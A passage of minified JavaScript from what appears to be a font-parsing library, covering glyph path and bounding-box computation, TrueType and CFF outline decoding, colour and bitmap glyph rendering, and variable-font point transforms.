                        return "" + aa[t.command] + e.join(" ")
                    }).join("")
                }, Q(t, [{
                    key: "cbox", get: function () {
                        if (!this._cbox) {
                            for (var t = new Si, e = this.commands, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                                var i;
                                if (n) {
                                    if (r >= e.length) break;
                                    i = e[r++]
                                } else {
                                    if (r = e.next(), r.done) break;
                                    i = r.value
                                }
                                for (var o = i, a = 0; a < o.args.length; a += 2) t.addPoint(o.args[a], o.args[a + 1])
                            }
                            this._cbox = Z(t)
                        }
                        return this._cbox
                    }
                }, {
                    key: "bbox", get: function () {
                        if (this._bbox) return this._bbox;
                        for (var t = new Si, e = 0, n = 0, r = function (t) {
                            return Math.pow(1 - t, 3) * S[A] + 3 * Math.pow(1 - t, 2) * t * k[A] + 3 * (1 - t) * Math.pow(t, 2) * _[A] + Math.pow(t, 3) * C[A]
                        }, i       = this.commands, o = Array.isArray(i), a = 0, i = o ? i : H(i); ;) {
                            var s;
                            if (o) {
                                if (a >= i.length) break;
                                s = i[a++]
                            } else {
                                if (a = i.next(), a.done) break;
                                s = a.value
                            }
                            var u = s;
                            switch (u.command) {
                                case"moveTo":
                                case"lineTo":
                                    var c = u.args, l = c[0], f = c[1];
                                    t.addPoint(l, f), e = l, n = f;
                                    break;
                                case"quadraticCurveTo":
                                case"bezierCurveTo":
                                    if ("quadraticCurveTo" === u.command) var h = u.args, p = h[0], d = h[1], g = h[2], v = h[3], y = e + 2 / 3 * (p - e), m = n + 2 / 3 * (d - n),
                                                                              b = g + 2 / 3 * (p - g), w = v + 2 / 3 * (d - v); else var x = u.args, y = x[0], m = x[1], b = x[2],
                                                                                                                                         w = x[3], g = x[4], v = x[5];
                                    t.addPoint(g, v);
                                    for (var S = [e, n], k = [y, m], _ = [b, w], C = [g, v], A = 0; A <= 1; A++) {
                                        var E = 6 * S[A] - 12 * k[A] + 6 * _[A], P = -3 * S[A] + 9 * k[A] - 9 * _[A] + 3 * C[A];
                                        if (u = 3 * k[A] - 3 * S[A], 0 !== P) {
                                            var I = Math.pow(E, 2) - 4 * u * P;
                                            if (!(I < 0)) {
                                                var O = (-E + Math.sqrt(I)) / (2 * P);
                                                0 < O && O < 1 && (0 === A ? t.addPoint(r(O), t.maxY) : 1 === A && t.addPoint(t.maxX, r(O)));
                                                var T = (-E - Math.sqrt(I)) / (2 * P);
                                                0 < T && T < 1 && (0 === A ? t.addPoint(r(T), t.maxY) : 1 === A && t.addPoint(t.maxX, r(T)))
                                            }
                                        } else {
                                            if (0 === E) continue;
                                            var L = -u / E;
                                            0 < L && L < 1 && (0 === A ? t.addPoint(r(L), t.maxY) : 1 === A && t.addPoint(t.maxX, r(L)))
                                        }
                                    }
                                    e = g, n = v
                            }
                        }
                        return this._bbox = Z(t)
                    }
                }]), t
            }(), ua                                           = ["moveTo", "lineTo", "quadraticCurveTo", "bezierCurveTo", "closePath"], ca = 0; ca < ua.length; ca++) !function () {
                var t           = ua[ca];
                sa.prototype[t] = function () {
                    for (var e = arguments.length, n = Array(e), r = 0; r < e; r++) n[r] = arguments[r];
                    return this._bbox = this._cbox = null, this.commands.push({command: t, args: n}), this
                }
            }();
            var la, fa,
                ha = [".notdef", ".null", "nonmarkingreturn", "space", "exclam", "quotedbl", "numbersign", "dollar", "percent", "ampersand", "quotesingle", "parenleft", "parenright", "asterisk", "plus", "comma", "hyphen", "period", "slash", "zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "colon", "semicolon", "less", "equal", "greater", "question", "at", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "bracketleft", "backslash", "bracketright", "asciicircum", "underscore", "grave", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "braceleft", "bar", "braceright", "asciitilde", "Adieresis", "Aring", "Ccedilla", "Eacute", "Ntilde", "Odieresis", "Udieresis", "aacute", "agrave", "acircumflex", "adieresis", "atilde", "aring", "ccedilla", "eacute", "egrave", "ecircumflex", "edieresis", "iacute", "igrave", "icircumflex", "idieresis", "ntilde", "oacute", "ograve", "ocircumflex", "odieresis", "otilde", "uacute", "ugrave", "ucircumflex", "udieresis", "dagger", "degree", "cent", "sterling", "section", "bullet", "paragraph", "germandbls", "registered", "copyright", "trademark", "acute", "dieresis", "notequal", "AE", "Oslash", "infinity", "plusminus", "lessequal", "greaterequal", "yen", "mu", "partialdiff", "summation", "product", "pi", "integral", "ordfeminine", "ordmasculine", "Omega", "ae", "oslash", "questiondown", "exclamdown", "logicalnot", "radical", "florin", "approxequal", "Delta", "guillemotleft", "guillemotright", "ellipsis", "nonbreakingspace", "Agrave", "Atilde", "Otilde", "OE", "oe", "endash", "emdash", "quotedblleft", "quotedblright", "quoteleft", "quoteright", "divide", "lozenge", "ydieresis", "Ydieresis", "fraction", "currency", "guilsinglleft", "guilsinglright", "fi", "fl", "daggerdbl", "periodcentered", "quotesinglbase", "quotedblbase", "perthousand", "Acircumflex", "Ecircumflex", "Aacute", "Edieresis", "Egrave", "Iacute", "Icircumflex", "Idieresis", "Igrave", "Oacute", "Ocircumflex", "apple", "Ograve", "Uacute", "Ucircumflex", "Ugrave", "dotlessi", "circumflex", "tilde", "macron", "breve", "dotaccent", "ring", "cedilla", "hungarumlaut", "ogonek", "caron", "Lslash", "lslash", "Scaron", "scaron", "Zcaron", "zcaron", "brokenbar", "Eth", "eth", "Yacute", "yacute", "Thorn", "thorn", "minus", "multiply", "onesuperior", "twosuperior", "threesuperior", "onehalf", "onequarter", "threequarters", "franc", "Gbreve", "gbreve", "Idotaccent", "Scedilla", "scedilla", "Cacute", "cacute", "Ccaron", "ccaron", "dcroat"],
                pa = (la = function () {
                    function t(e, n, r) {
                        J(this, t), this.id = e, this.codePoints = n, this._font = r, this.isMark = this.codePoints.every(ct.isMark), this.isLigature = this.codePoints.length > 1
                    }

                    return t.prototype._getPath = function () {
                        return new sa
                    }, t.prototype._getCBox = function () {
                        return this.path.cbox
                    }, t.prototype._getBBox = function () {
                        return this.path.bbox
                    }, t.prototype._getTableMetrics = function (t) {
                        if (this.id < t.metrics.length) return t.metrics.get(this.id);
                        var e = t.metrics.get(t.metrics.length - 1);
                        return {advance: e ? e.advance : 0, bearing: t.bearings.get(this.id - t.metrics.length) || 0}
                    }, t.prototype._getMetrics = function (t) {
                        if (this._metrics) return this._metrics;
                        var e = this._getTableMetrics(this._font.hmtx), n = e.advance, r = e.bearing;
                        if (this._font.vmtx) var i = this._getTableMetrics(this._font.vmtx), o = i.advance, a = i.bearing; else {
                            var s = void 0;
                            if (void 0 !== t && null !== t || (t = this.cbox), (s = this._font["OS/2"]) && s.version > 0) var o = Math.abs(s.typoAscender - s.typoDescender),
                                                                                                                              a = s.typoAscender - t.maxY; else var u = this._font.hhea,
                                                                                                                                                                    o = Math.abs(u.ascent - u.descent),
                                                                                                                                                                    a = u.ascent - t.maxY
                        }
                        return this._metrics = {advanceWidth: n, advanceHeight: o, leftBearing: r, topBearing: a}
                    }, t.prototype._getName = function () {
                        var t = this._font.post;
                        if (!t) return null;
                        switch (t.version) {
                            case 1:
                                return ha[this.id];
                            case 2:
                                var e = t.glyphNameIndex[this.id];
                                return e < ha.length ? ha[e] : t.names[e - ha.length];
                            case 2.5:
                                return ha[this.id + t.offsets[this.id]];
                            case 4:
                                return String.fromCharCode(t.map[this.id])
                        }
                    }, t.prototype.render = function (t, e) {
                        t.save();
                        var n = 1 / this._font.head.unitsPerEm * e;
                        t.scale(n, n), this.path.toFunction()(t), t.fill(), t.restore()
                    }, Q(t, [{
                        key: "cbox", get: function () {
                            return this._getCBox()
                        }
                    }, {
                        key: "bbox", get: function () {
                            return this._getBBox()
                        }
                    }, {
                        key: "path", get: function () {
                            return this._getPath()
                        }
                    }, {
                        key: "advanceWidth", get: function () {
                            return this._getMetrics().advanceWidth
                        }
                    }, {
                        key: "advanceHeight", get: function () {
                            return this._getMetrics().advanceHeight
                        }
                    }, {
                        key: "ligatureCaretPositions",
                        get: function () {
                        }
                    }, {
                        key: "name", get: function () {
                            return this._getName()
                        }
                    }]), t
                }(), N(la.prototype, "cbox", [o], q(la.prototype, "cbox"), la.prototype), N(la.prototype, "bbox", [o], q(la.prototype, "bbox"), la.prototype), N(la.prototype, "path", [o], q(la.prototype, "path"), la.prototype), N(la.prototype, "advanceWidth", [o], q(la.prototype, "advanceWidth"), la.prototype), N(la.prototype, "advanceHeight", [o], q(la.prototype, "advanceHeight"), la.prototype), N(la.prototype, "name", [o], q(la.prototype, "name"), la.prototype), la),
                da = new V.Struct({numberOfContours: V.int16, xMin: V.int16, yMin: V.int16, xMax: V.int16, yMax: V.int16}), ga = function () {
                    function t(e, n) {
                        var r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : 0, i = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : 0;
                        J(this, t), this.onCurve = e, this.endContour = n, this.x = r, this.y = i
                    }

                    return t.prototype.copy = function () {
                        return new t(this.onCurve, this.endContour, this.x, this.y)
                    }, t
                }(), va = function t(e, n, r) {
                    J(this, t), this.glyphID = e, this.dx = n, this.dy = r, this.pos = 0, this.scaleX = this.scaleY = 1, this.scale01 = this.scale10 = 0
                }, ya = function (t) {
                    function e() {
                        return J(this, e), tt(this, t.apply(this, arguments))
                    }

                    return et(e, t), e.prototype._getCBox = function (t) {
                        if (this._font._variationProcessor && !t) return this.path.cbox;
                        var e = this._font._getTableStream("glyf");
                        e.pos += this._font.loca.offsets[this.id];
                        var n = da.decode(e), r = new Si(n.xMin, n.yMin, n.xMax, n.yMax);
                        return Z(r)
                    }, e.prototype._parseGlyphCoord = function (t, e, n, r) {
                        if (n) {
                            var i = t.readUInt8();
                            r || (i = -i), i += e
                        } else if (r) var i = e; else var i = e + t.readInt16BE();
                        return i
                    }, e.prototype._decode = function () {
                        var t = this._font.loca.offsets[this.id];
                        if (t === this._font.loca.offsets[this.id + 1]) return null;
                        var e = this._font._getTableStream("glyf");
                        e.pos += t;
                        var n = e.pos, r = da.decode(e);
                        return r.numberOfContours > 0 ? this._decodeSimple(r, e) : r.numberOfContours < 0 && this._decodeComposite(r, e, n), r
                    }, e.prototype._decodeSimple = function (t, e) {
                        t.points = [];
                        var n = new V.Array(V.uint16, t.numberOfContours).decode(e);
                        t.instructions = new V.Array(V.uint8, V.uint16).decode(e);
                        for (var r = [], i = n[n.length - 1] + 1; r.length < i;) {
                            var o = e.readUInt8();
                            if (r.push(o), 8 & o) for (var a = e.readUInt8(), s = 0; s < a; s++) r.push(o)
                        }
                        for (var u = 0; u < r.length; u++) {
                            var o = r[u], c = new ga(!!(1 & o), n.indexOf(u) >= 0, 0, 0);
                            t.points.push(c)
                        }
                        for (var l = 0, u = 0; u < r.length; u++) {
                            var o = r[u];
                            t.points[u].x = l = this._parseGlyphCoord(e, l, 2 & o, 16 & o)
                        }
                        for (var f = 0, u = 0; u < r.length; u++) {
                            var o = r[u];
                            t.points[u].y = f = this._parseGlyphCoord(e, f, 4 & o, 32 & o)
                        }
                        if (this._font._variationProcessor) {
                            var h = t.points.slice();
                            h.push.apply(h, this._getPhantomPoints(t)), this._font._variationProcessor.transformPoints(this.id, h), t.phantomPoints = h.slice(-4)
                        }
                    }, e.prototype._decodeComposite = function (t, e) {
                        var n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : 0;
                        t.components = [];
                        for (var r = !1, i = 32; 32 & i;) {
                            i = e.readUInt16BE();
                            var o = e.pos - n, a = e.readUInt16BE();
                            if (r || (r = 0 != (256 & i)), 1 & i) var s = e.readInt16BE(), u = e.readInt16BE(); else var s = e.readInt8(), u = e.readInt8();
                            var c = new va(a, s, u);
                            c.pos = o, 8 & i ? c.scaleX = c.scaleY = (e.readUInt8() << 24 | e.readUInt8() << 16) / 1073741824 : 64 & i ? (c.scaleX = (e.readUInt8() << 24 | e.readUInt8() << 16) / 1073741824, c.scaleY = (e.readUInt8() << 24 | e.readUInt8() << 16) / 1073741824) : 128 & i && (c.scaleX = (e.readUInt8() << 24 | e.readUInt8() << 16) / 1073741824, c.scale01 = (e.readUInt8() << 24 | e.readUInt8() << 16) / 1073741824, c.scale10 = (e.readUInt8() << 24 | e.readUInt8() << 16) / 1073741824, c.scaleY = (e.readUInt8() << 24 | e.readUInt8() << 16) / 1073741824), t.components.push(c)
                        }
                        if (this._font._variationProcessor) {
                            for (var l = [], f = 0; f < t.components.length; f++) {
                                var c = t.components[f];
                                l.push(new ga(!0, !0, c.dx, c.dy))
                            }
                            l.push.apply(l, this._getPhantomPoints(t)), this._font._variationProcessor.transformPoints(this.id, l), t.phantomPoints = l.splice(-4, 4);
                            for (var h = 0; h < l.length; h++) {
                                var p = l[h];
                                t.components[h].dx = p.x, t.components[h].dy = p.y
                            }
                        }
                        return r
                    }, e.prototype._getPhantomPoints = function (t) {
                        var e = this._getCBox(!0);
                        null == this._metrics && (this._metrics = pa.prototype._getMetrics.call(this, e));
                        var n = this._metrics, r = n.advanceWidth, i = n.advanceHeight, o = n.leftBearing, a = n.topBearing;
                        return [new ga(!1, !0, t.xMin - o, 0), new ga(!1, !0, t.xMin - o + r, 0), new ga(!1, !0, 0, t.yMax + a), new ga(!1, !0, 0, t.yMax + a + i)]
                    }, e.prototype._getContours = function () {
                        var t = this._decode();
                        if (!t) return [];
                        if (t.numberOfContours < 0) for (var e = [], n = t.components, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                            var o;
                            if (r) {
                                if (i >= n.length) break;
                                o = n[i++]
                            } else {
                                if (i = n.next(), i.done) break;
                                o = i.value
                            }
                            var a = o;
                            t = this._font.getGlyph(a.glyphID)._decode();
                            for (var s = t.points, u = Array.isArray(s), c = 0, s = u ? s : H(s); ;) {
                                var l;
                                if (u) {
                                    if (c >= s.length) break;
                                    l = s[c++]
                                } else {
                                    if (c = s.next(), c.done) break;
                                    l = c.value
                                }
                                var f = l;
                                e.push(new ga(f.onCurve, f.endContour, f.x + a.dx, f.y + a.dy))
                            }
                        } else var e = t.points || [];
                        t.phantomPoints && (this._metrics.advanceWidth = t.phantomPoints[1].x - t.phantomPoints[0].x, this._metrics.advanceHeight = t.phantomPoints[3].y - t.phantomPoints[2].y, this._metrics.leftBearing = t.xMin - t.phantomPoints[0].x, this._metrics.topBearing = t.phantomPoints[2].y - t.yMax);
                        for (var h = [], p = [], d = 0; d < e.length; d++) {
                            var g = e[d];
                            p.push(g), g.endContour && (h.push(p), p = [])
                        }
                        return h
                    }, e.prototype._getMetrics = function () {
                        if (this._metrics) return this._metrics;
                        var e = this._getCBox(!0);
                        return t.prototype._getMetrics.call(this, e), this._font._variationProcessor && this.path, this._metrics
                    }, e.prototype._getPath = function () {
                        for (var t = this._getContours(), e = new sa, n = 0; n < t.length; n++) {
                            var r = t[n], i = r[0], o = r[r.length - 1], a = 0;
                            if (i.onCurve) {
                                var s = null;
                                a = 1
                            } else {
                                i = o.onCurve ? o : new ga(!1, !1, (i.x + o.x) / 2, (i.y + o.y) / 2);
                                var s = i
                            }
                            e.moveTo(i.x, i.y);
                            for (var u = a; u < r.length; u++) {
                                var c = r[u], l = 0 === u ? i : r[u - 1];
                                if (l.onCurve && c.onCurve) e.lineTo(c.x, c.y); else if (l.onCurve && !c.onCurve) var s = c; else if (l.onCurve || c.onCurve) {
                                    if (l.onCurve || !c.onCurve) throw new Error("Unknown TTF path state");
                                    e.quadraticCurveTo(s.x, s.y, c.x, c.y);
                                    var s = null
                                } else {
                                    var f = (l.x + c.x) / 2, h = (l.y + c.y) / 2;
                                    e.quadraticCurveTo(l.x, l.y, f, h);
                                    var s = c
                                }
                            }
                            s && e.quadraticCurveTo(s.x, s.y, i.x, i.y), e.closePath()
                        }
                        return e
                    }, e
                }(pa), ma = function (t) {
                    function e() {
                        return J(this, e), tt(this, t.apply(this, arguments))
                    }

                    return et(e, t), e.prototype._getName = function () {
                        return this._font["CFF "].getGlyphName(this.id)
                    }, e.prototype.bias = function (t) {
                        return t.length < 1240 ? 107 : t.length < 33900 ? 1131 : 32768
                    }, e.prototype._getPath = function () {
                        function t() {
                            return s.length % 2 != 0 && null === c && (c = s.shift() + m.nominalWidthX), l += s.length >> 1, s.length = 0
                        }

                        function e(t, e) {
                            g && a.closePath(), a.moveTo(t, e), g = !0
                        }

                        var n = this._font.stream, r = (n.pos, this._font["CFF "]), i = r.topDict.CharStrings[this.id], o = i.offset + i.length;
                        n.pos = i.offset;
                        var a = new sa, s = [], u = [], c = null, l = 0, f = 0, h = 0, p = void 0, d = void 0, g = !1;
                        this._usedGsubrs = p = {}, this._usedSubrs = d = {};
                        var v = r.globalSubrIndex || [], y = this.bias(v), m = r.privateDictForGlyph(this.id), b = m.Subrs || [], w = this.bias(b);
                        return function r() {
                            for (; n.pos < o;) {
                                var i = n.readUInt8();
                                if (i < 32) switch (i) {
                                    case 1:
                                    case 3:
                                    case 18:
                                    case 23:
                                        t();
                                        break;
                                    case 4:
                                        s.length > 1 && (void 0 !== c && null !== c || (c = s.shift() + m.nominalWidthX)), h += s.shift(), e(f, h);
                                        break;
                                    case 5:
                                        for (; s.length >= 2;) f += s.shift(), h += s.shift(), a.lineTo(f, h);
                                        break;
                                    case 6:
                                    case 7:
                                        for (var x = 6 === i; s.length >= 1;) x ? f += s.shift() : h += s.shift(), a.lineTo(f, h), x = !x;
                                        break;
                                    case 8:
                                        for (; s.length > 0;) {
                                            var S = f + s.shift(), k = h + s.shift(), _ = S + s.shift(), C = k + s.shift();
                                            f = _ + s.shift(), h = C + s.shift(), a.bezierCurveTo(S, k, _, C, f, h)
                                        }
                                        break;
                                    case 10:
                                        var A = s.pop() + w, E = b[A];
                                        if (E) {
                                            d[A] = !0;
                                            var P = n.pos, I = o;
                                            n.pos = E.offset, o = E.offset + E.length, r(), n.pos = P, o = I
                                        }
                                        break;
                                    case 11:
                                        return;
                                    case 14:
                                        s.length > 0 && (void 0 !== c && null !== c || (c = s.shift() + m.nominalWidthX)), a.closePath(), g = !1;
                                        break;
                                    case 19:
                                    case 20:
                                        t(), n.pos += l + 7 >> 3;
                                        break;
                                    case 21:
                                        if (s.length > 2) {
                                            void 0 !== c && null !== c || (c = s.shift() + m.nominalWidthX)
                                        }
                                        f += s.shift(), h += s.shift(), e(f, h);
                                        break;
                                    case 22:
                                        s.length > 1 && (void 0 !== c && null !== c || (c = s.shift() + m.nominalWidthX)), f += s.shift(), e(f, h);
                                        break;
                                    case 24:
                                        for (; s.length >= 8;) {
                                            var S = f + s.shift(), k = h + s.shift(), _ = S + s.shift(), C = k + s.shift();
                                            f = _ + s.shift(), h = C + s.shift(), a.bezierCurveTo(S, k, _, C, f, h)
                                        }
                                        f += s.shift(), h += s.shift(), a.lineTo(f, h);
                                        break;
                                    case 25:
                                        for (; s.length >= 8;) f += s.shift(), h += s.shift(), a.lineTo(f, h);
                                        var S = f + s.shift(), k = h + s.shift(), _ = S + s.shift(), C = k + s.shift();
                                        f = _ + s.shift(), h = C + s.shift(), a.bezierCurveTo(S, k, _, C, f, h);
                                        break;
                                    case 26:
                                        for (s.length % 2 && (f += s.shift()); s.length >= 4;) S = f, k = h + s.shift(), _ = S + s.shift(), C = k + s.shift(), f = _, h = C + s.shift(), a.bezierCurveTo(S, k, _, C, f, h);
                                        break;
                                    case 27:
                                        for (s.length % 2 && (h += s.shift()); s.length >= 4;) S = f + s.shift(), k = h, _ = S + s.shift(), C = k + s.shift(), f = _ + s.shift(), h = C, a.bezierCurveTo(S, k, _, C, f, h);
                                        break;
                                    case 28:
                                        s.push(n.readInt16BE());
                                        break;
                                    case 29:
                                        if (A = s.pop() + y, E = v[A]) {
                                            p[A] = !0;
                                            var P = n.pos, I = o;
                                            n.pos = E.offset, o = E.offset + E.length, r(), n.pos = P, o = I
                                        }
                                        break;
                                    case 30:
                                    case 31:
                                        for (x = 31 === i; s.length >= 4;) x ? (S = f + s.shift(), k = h, _ = S + s.shift(), C = k + s.shift(), h = C + s.shift(), f = _ + (1 === s.length ? s.shift() : 0)) : (S = f, k = h + s.shift(), _ = S + s.shift(), C = k + s.shift(), f = _ + s.shift(), h = C + (1 === s.length ? s.shift() : 0)), a.bezierCurveTo(S, k, _, C, f, h), x = !x;
                                        break;
                                    case 12:
                                        switch (i = n.readUInt8()) {
                                            case 3:
                                                var O = s.pop(), T = s.pop();
                                                s.push(O && T ? 1 : 0);
                                                break;
                                            case 4:
                                                O = s.pop(), T = s.pop(), s.push(O || T ? 1 : 0);
                                                break;
                                            case 5:
                                                O = s.pop(), s.push(O ? 0 : 1);
                                                break;
                                            case 9:
                                                O = s.pop(), s.push(Math.abs(O));
                                                break;
                                            case 10:
                                                O = s.pop(), T = s.pop(), s.push(O + T);
                                                break;
                                            case 11:
                                                O = s.pop(), T = s.pop(), s.push(O - T);
                                                break;
                                            case 12:
                                                O = s.pop(), T = s.pop(), s.push(O / T);
                                                break;
                                            case 14:
                                                O = s.pop(), s.push(-O);
                                                break;
                                            case 15:
                                                O = s.pop(), T = s.pop(), s.push(O === T ? 1 : 0);
                                                break;
                                            case 18:
                                                s.pop();
                                                break;
                                            case 20:
                                                var L = s.pop(), B = s.pop();
                                                u[B] = L;
                                                break;
                                            case 21:
                                                B = s.pop(), s.push(u[B] || 0);
                                                break;
                                            case 22:
                                                var R = s.pop(), M = s.pop(), z = s.pop(), F = s.pop();
                                                s.push(z <= F ? R : M);
                                                break;
                                            case 23:
                                                s.push(Math.random());
                                                break;
                                            case 24:
                                                O = s.pop(), T = s.pop(), s.push(O * T);
                                                break;
                                            case 26:
                                                O = s.pop(), s.push(Math.sqrt(O));
                                                break;
                                            case 27:
                                                O = s.pop(), s.push(O, O);
                                                break;
                                            case 28:
                                                O = s.pop(), T = s.pop(), s.push(T, O);
                                                break;
                                            case 29:
                                                B = s.pop(), B < 0 ? B = 0 : B > s.length - 1 && (B = s.length - 1), s.push(s[B]);
                                                break;
                                            case 30:
                                                var D = s.pop(), N = s.pop();
                                                if (N >= 0) for (; N > 0;) {
                                                    for (var U = s[D - 1], W = D - 2; W >= 0; W--) s[W + 1] = s[W];
                                                    s[0] = U, N--
                                                } else for (; N < 0;) {
                                                    for (var U = s[0], j = 0; j <= D; j++) s[j] = s[j + 1];
                                                    s[D - 1] = U, N++
                                                }
                                                break;
                                            case 34:
                                                S = f + s.shift(), k = h, _ = S + s.shift(), C = k + s.shift();
                                                var G = _ + s.shift(), V = C, q = G + s.shift(), H = V, Z = q + s.shift(), Y = H, K = Z + s.shift(), X = Y;
                                                f = K, h = X, a.bezierCurveTo(S, k, _, C, G, V), a.bezierCurveTo(q, H, Z, Y, K, X);
                                                break;
                                            case 35:
                                                for (var J = [], Q = 0; Q <= 5; Q++) f += s.shift(), h += s.shift(), J.push(f, h);
                                                a.bezierCurveTo.apply(a, J.slice(0, 6)), a.bezierCurveTo.apply(a, J.slice(6)), s.shift();
                                                break;
                                            case 36:
                                                S = f + s.shift(), k = h + s.shift(), _ = S + s.shift(), C = k + s.shift(), G = _ + s.shift(), V = C, q = G + s.shift(), H = V, Z = q + s.shift(), Y = H + s.shift(), K = Z + s.shift(), X = Y, f = K, h = X, a.bezierCurveTo(S, k, _, C, G, V), a.bezierCurveTo(q, H, Z, Y, K, X);
                                                break;
                                            case 37:
                                                var $ = f, tt = h;
                                                J = [];
                                                for (var et = 0; et <= 4; et++) f += s.shift(), h += s.shift(), J.push(f, h);
                                                Math.abs(f - $) > Math.abs(h - tt) ? (f += s.shift(), h = tt) : (f = $, h += s.shift()), J.push(f, h), a.bezierCurveTo.apply(a, J.slice(0, 6)), a.bezierCurveTo.apply(a, J.slice(6));
                                                break;
                                            default:
                                                throw new Error("Unknown op: 12 " + i)
                                        }
                                        break;
                                    default:
                                        throw new Error("Unknown op: " + i)
                                } else if (i < 247) s.push(i - 139); else if (i < 251) {
                                    var nt = n.readUInt8();
                                    s.push(256 * (i - 247) + nt + 108)
                                } else if (i < 255) {
                                    var nt = n.readUInt8();
                                    s.push(256 * -(i - 251) - nt - 108)
                                } else s.push(n.readInt32BE() / 65536)
                            }
                        }(), a
                    }, e
                }(pa), ba = new V.Struct({
                    originX: V.uint16, originY: V.uint16, type: new V.String(4), data: new V.Buffer(function (t) {
                        return t.parent.buflen - t._currentOffset
                    })
                }), wa = function (t) {
                    function e() {
                        return J(this, e), tt(this, t.apply(this, arguments))
                    }

                    return et(e, t), e.prototype.getImageForSize = function (t) {
                        for (var e = 0; e < this._font.sbix.imageTables.length; e++) {
                            var n = this._font.sbix.imageTables[e];
                            if (n.ppem >= t) break
                        }
                        var r = n.imageOffsets, i = r[this.id], o = r[this.id + 1];
                        return i === o ? null : (this._font.stream.pos = i, ba.decode(this._font.stream, {buflen: o - i}))
                    }, e.prototype.render = function (e, n) {
                        var r = this.getImageForSize(n);
                        if (null != r) {
                            var i = n / this._font.unitsPerEm;
                            e.image(r.data, {height: n, x: r.originX, y: (this.bbox.minY - r.originY) * i})
                        }
                        this._font.sbix.flags.renderOutlines && t.prototype.render.call(this, e, n)
                    }, e
                }(ya), xa = function t(e, n) {
                    J(this, t), this.glyph = e, this.color = n
                }, Sa = function (t) {
                    function e() {
                        return J(this, e), tt(this, t.apply(this, arguments))
                    }

                    return et(e, t), e.prototype._getBBox = function () {
                        for (var t = new Si, e = 0; e < this.layers.length; e++) {
                            var n = this.layers[e], r = n.glyph.bbox;
                            t.addPoint(r.minX, r.minY), t.addPoint(r.maxX, r.maxY)
                        }
                        return t
                    }, e.prototype.render = function (t, e) {
                        for (var n = this.layers, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                            var o;
                            if (r) {
                                if (i >= n.length) break;
                                o = n[i++]
                            } else {
                                if (i = n.next(), i.done) break;
                                o = i.value
                            }
                            var a = o, s = a.glyph, u = a.color;
                            t.fillColor([u.red, u.green, u.blue], u.alpha / 255 * 100), s.render(t, e)
                        }
                    }, Q(e, [{
                        key: "layers", get: function () {
                            for (var t = this._font.CPAL, e = this._font.COLR, n = 0, r = e.baseGlyphRecord.length - 1; n <= r;) {
                                var i = n + r >> 1, o = e.baseGlyphRecord[i];
                                if (this.id < o.gid) r = i - 1; else {
                                    if (!(this.id > o.gid)) {
                                        var a = o;
                                        break
                                    }
                                    n = i + 1
                                }
                            }
                            if (null == a) {
                                var s = this._font._getBaseGlyph(this.id), u = {red: 0, green: 0, blue: 0, alpha: 255};
                                return [new xa(s, u)]
                            }
                            for (var c = [], l = a.firstLayerIndex; l < a.firstLayerIndex + a.numLayers; l++) {
                                var o = e.layerRecords[l], u = t.colorRecords[o.paletteIndex], s = this._font._getBaseGlyph(o.gid);
                                c.push(new xa(s, u))
                            }
                            return c
                        }
                    }]), e
                }(pa), ka = function () {
                    function t(e, n) {
                        J(this, t), this.font = e, this.normalizedCoords = this.normalizeCoords(n)
                    }

                    return t.prototype.normalizeCoords = function (t) {
                        for (var e = [], n = 0; n < this.font.fvar.axis.length; n++) {
                            var r = this.font.fvar.axis[n];
                            t[n] < r.defaultValue ? e.push((t[n] - r.defaultValue) / (r.defaultValue - r.minValue)) : e.push((t[n] - r.defaultValue) / (r.maxValue - r.defaultValue))
                        }
                        if (this.font.avar) for (var n = 0; n < this.font.avar.segment.length; n++) for (var i = this.font.avar.segment[n], o = 0; o < i.correspondence.length; o++) {
                            var a = i.correspondence[o];
                            if (o >= 1 && e[n] < a.fromCoord) {
                                var s = i.correspondence[o - 1];
                                e[n] = (e[n] - s.fromCoord) * (a.toCoord - s.toCoord) / (a.fromCoord - s.fromCoord) + s.toCoord;
                                break
                            }
                        }
                        return e
                    }, t.prototype.transformPoints = function (t, e) {
                        if (this.font.fvar && this.font.gvar) {
                            var n = this.font.gvar;
                            if (!(t >= n.glyphCount)) {
                                var r = n.offsets[t];
                                if (r !== n.offsets[t + 1]) {
                                    var i = this.font.stream;
                                    if (i.pos = r, !(i.pos >= i.length)) {
                                        var o = i.readUInt16BE(), a = r + i.readUInt16BE();
                                        if (32768 & o) {
                                            var s = i.pos;
                                            i.pos = a;
                                            var u = this.decodePoints();
                                            a = i.pos, i.pos = s
                                        }
                                        var c = e.map(function (t) {
                                            return t.copy()
                                        });
                                        o &= 4095;
                                        for (var l = 0; l < o; l++) {
                                            var f = i.readUInt16BE(), h = i.readUInt16BE();
                                            if (32768 & h) for (var p = [], d = 0; d < n.axisCount; d++) p.push(i.readInt16BE() / 16384); else {
                                                if ((4095 & h) >= n.globalCoordCount) throw new Error("Invalid gvar table");
                                                var p = n.globalCoords[4095 & h]
                                            }
                                            if (16384 & h) {
                                                for (var g = [], v = 0; v < n.axisCount; v++) g.push(i.readInt16BE() / 16384);
                                                for (var y = [], m = 0; m < n.axisCount; m++) y.push(i.readInt16BE() / 16384)
                                            }
                                            var b = this.tupleFactor(h, p, g, y);
                                            if (0 !== b) {
                                                var s = i.pos;
                                                if (i.pos = a, 8192 & h) var w = this.decodePoints(); else var w = u;
                                                var x = 0 === w.length ? e.length : w.length, S = this.decodeDeltas(x), k = this.decodeDeltas(x);
                                                if (0 === w.length) for (var _ = 0; _ < e.length; _++) {
                                                    var C = e[_];
                                                    C.x += Math.round(S[_] * b), C.y += Math.round(k[_] * b)
                                                } else {
                                                    for (var A = c.map(function (t) {
                                                        return t.copy()
                                                    }), E = e.map(function () {
                                                        return !1
                                                    }), P = 0; P < w.length; P++) {
                                                        var I = w[P];
                                                        if (I < e.length) {
                                                            var O = A[I];
                                                            E[I] = !0, O.x += Math.round(S[P] * b), O.y += Math.round(k[P] * b)
                                                        }
                                                    }
                                                    this.interpolateMissingDeltas(A, c, E);
                                                    for (var T = 0; T < e.length; T++) {
